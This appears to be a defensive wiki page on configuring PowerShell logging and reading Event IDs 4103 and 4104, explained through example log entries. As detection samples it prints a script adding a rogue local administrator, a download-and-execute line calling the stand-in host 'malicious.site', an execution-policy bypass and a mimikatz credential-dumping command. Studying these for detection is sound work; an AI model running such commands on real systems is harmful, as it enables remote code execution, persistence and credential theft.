PowerShell Logging

PowerShell logging is a critical element of security monitoring in modern environments, as PowerShell is often used by attackers to execute malicious scripts, bypass defenses, and perform attacks. Enabling PowerShell logging allows you to monitor the commands and scripts that are executed, which helps detect suspicious activity.

Setting up Powershell logging

To configure PowerShell event auditing using Group Policies and enable the Script Block Logging module, run

  1. Open Group Policy Editor

  2. Go to the section: Computer Configuration → Policies → Administrative Templates → Windows Components → Windows PowerShell.

  3. Select "Enable module logging", "Enable script block logging" and "Enable transcription logging" For the latter, specify the path to save the transcripts (e.g. C:\PSLogs).

Event Types

Main types of logging:

  • PowerShell Audit Module (Module Logging) - The audit module logs all commands executed in PowerShell. Logs are saved in Windows Event Log under Microsoft-Windows-PowerShell/Operational with Event ID 4103 Register: - Individual commands executed in PowerShell. - If the script is running, then a separate event will be registered for each Powershell Cmdlet call - If an alias is used (e.g. gci instead of Get-ChildItem), the Get-ChildItem cmdlet will be written to the logs.\

  • Script Block Logging - Script Block Logging records the contents of scripts executed in PowerShell. Logs are saved in Windows Event Log under Microsoft-Windows-PowerShell/Operational with Event ID 4104 Registered**:** - Full contents of scripts executed in PowerShell. - The entire block of code is logged, including commands, loops, conditions and functions.

If the PowerShell script is very long, event ID 4104 is logged as multiple events. In each event you will find a Script Block field, which contains the body part of the script. Also, each event contains an indication of how many blocks the script was split into (MessageTotal) and the current sequence number (MessageNumber).

  • Transcript Logging. Transcription logging saves all actions performed in a PowerShell session to a text file.

We usually only use 4103 and 4104

Comparison of PowerShell events Event ID 4103 and Event ID 4104

Both events are related to logging PowerShell activity, but they record different aspects of command and script execution.

Executing a script from a file

Let's assume that the attacker launches Powershell and executes the script add_admin.ps1. This will register Event ID 4104, where the ScriptBlockText field will contain the full body of the script:

$randomNumber = Get-Random -Minimum 1000 -Maximum 9999
$username = "Admin_$randomNumber"
$password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
New-LocalUser -Name $username -Password $password -PasswordNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member $username

In this case, 4 separate Event ID 4103 events will be registered, in the Payload field there will be corresponding entries for each invoked cmdlet:

CommandInvocation(Get-Random): "Get-Random"
ParameterBinding(Get-Random): name="Minimum"; value="1000"
ParameterBinding(Get-Random): name="Maximum"; value="9999"

CommandInvocation(ConvertTo-SecureString): "ConvertTo-SecureString"
ParameterBinding(ConvertTo-SecureString): name="String"; value="P@ssw0rd"
ParameterBinding(ConvertTo-SecureString): name="AsPlainText"; value="True"
ParameterBinding(ConvertTo-SecureString): name="Force"; value="True"

CommandInvocation(New-LocalUser): "New-LocalUser"
ParameterBinding(New-LocalUser): name="Name"; value="Admin_6947"
ParameterBinding(New-LocalUser): name="Password"; value="System.Security.SecureString"
ParameterBinding(New-LocalUser): name="PasswordNeverExpires"; value="True"

CommandInvocation(Add-LocalGroupMember): "Add-LocalGroupMember"
ParameterBinding(Add-LocalGroupMember): name="Group"; value="Administrators"
ParameterBinding(Add-LocalGroupMember): name="Member"; value="Admin_6947"

In this case, Script Name in ContextInfo of each Event ID 4103 will contain the full path to the add_admin.ps1 script.

It is worth noting that Event Id 4103 shows the specific values ​​of what is passed as parameters in the script body.

Cmdlet aliases in Event ID 4103

Powershell cmdlets have aliases — a short or alternative name for a cmdlet, function, or script. Aliases allow you to enter commands faster, saving time. Some are already defined in the system, but you can also specify custom ones.

If you enter an alias in the powershell console, then in Event ID 4104 it will be logged as entered by the user, but in 4103 the original full cmdlet will be visible

// 4104
tnc 10.10.183.100 -port 443

// 4103
CommandInvocation(Write-Progress): "Write-Progress"
ParameterBinding(Write-Progress): name="Activity"; value="Test-NetConnection - 10.10.183.100:443"
ParameterBinding(Write-Progress): name="Status"; value="Attempting TCP connect"
ParameterBinding(Write-Progress): name="CurrentOperation"; value="Waiting for response"
ParameterBinding(Write-Progress): name="SecondsRemaining"; value="-1"
ParameterBinding(Write-Progress): name="PercentComplete"; value="-1"

That is, obfuscation with properly configured powershell logging practically loses its usefulness. Although it is sometimes useful to simply look for its traces.

Examples of obfuscations

Starting a process from Powershell

If the attacker simply launches a process from powershell, then under the hood a call to the Invoke-Expression cmdlet is generated.

// 4104. ScriptBlockText
ping google.com

// 4103. Payload
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="ping google.com
"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Pinging google.com [64.233.162.100] with 32 bytes of data:"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=2ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=3ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=4ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=1ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Ping statistics for 64.233.162.100:"
ParameterBinding(Out-String): name="InputObject"; value="Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),"
ParameterBinding(Out-String): name="InputObject"; value="Approximate round trip times in milli-seconds:"
ParameterBinding(Out-String): name="InputObject"; value=" Minimum = 1ms, Maximum = 4ms, Average = 2ms"

If an attacker starts a Powershell process like this:

powershell -EncodedCommand

Then in the process start event (Event ID 4688, Sysmon 1) we will see an encrypted base64 string (You can decrypt it in CyberChef). However, in EventID 4103 and 4104 you will see what was actually executed:

// 4104
$ProgressPreference = "SilentlyContinue";Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "https://github.com"; Start-Sleep -Seconds 15 ; Get-Process | Where-Object {$_.ProcessName -eq "chrome"} | Stop-Process

// 4103
CommandInvocation(Start-Process): "Start-Process"
ParameterBinding(Start-Process): name="FilePath"; value="C:\Program Files\Google\Chrome\Application\chrome.exe"
ParameterBinding(Start-Process): name="ArgumentList"; value="https://github.com"

Well-known Powershell tools

All of them include fairly specific cmdlets, the detections for which will not be sophisticated, but will definitely be useful.

Examples of suspicious commands and scripts

  • Downloading and executing scripts from the Internet: Look for commands related to bypassing protection, running scripts, or interacting with external resources (e.g. FromBase64String DownloadString, Net.WebClient)

    Invoke-Expression(New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')
  • Bypass protection:

    Set-ExecutionPolicy Bypass -Scope Process
  • Creating hidden processes:

    Start-Process -WindowStyle Hidden -FilePath "C:\Windows\System32\cmd.exe"
  • Using hacking utilities:

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

Last updated

Was this helpful?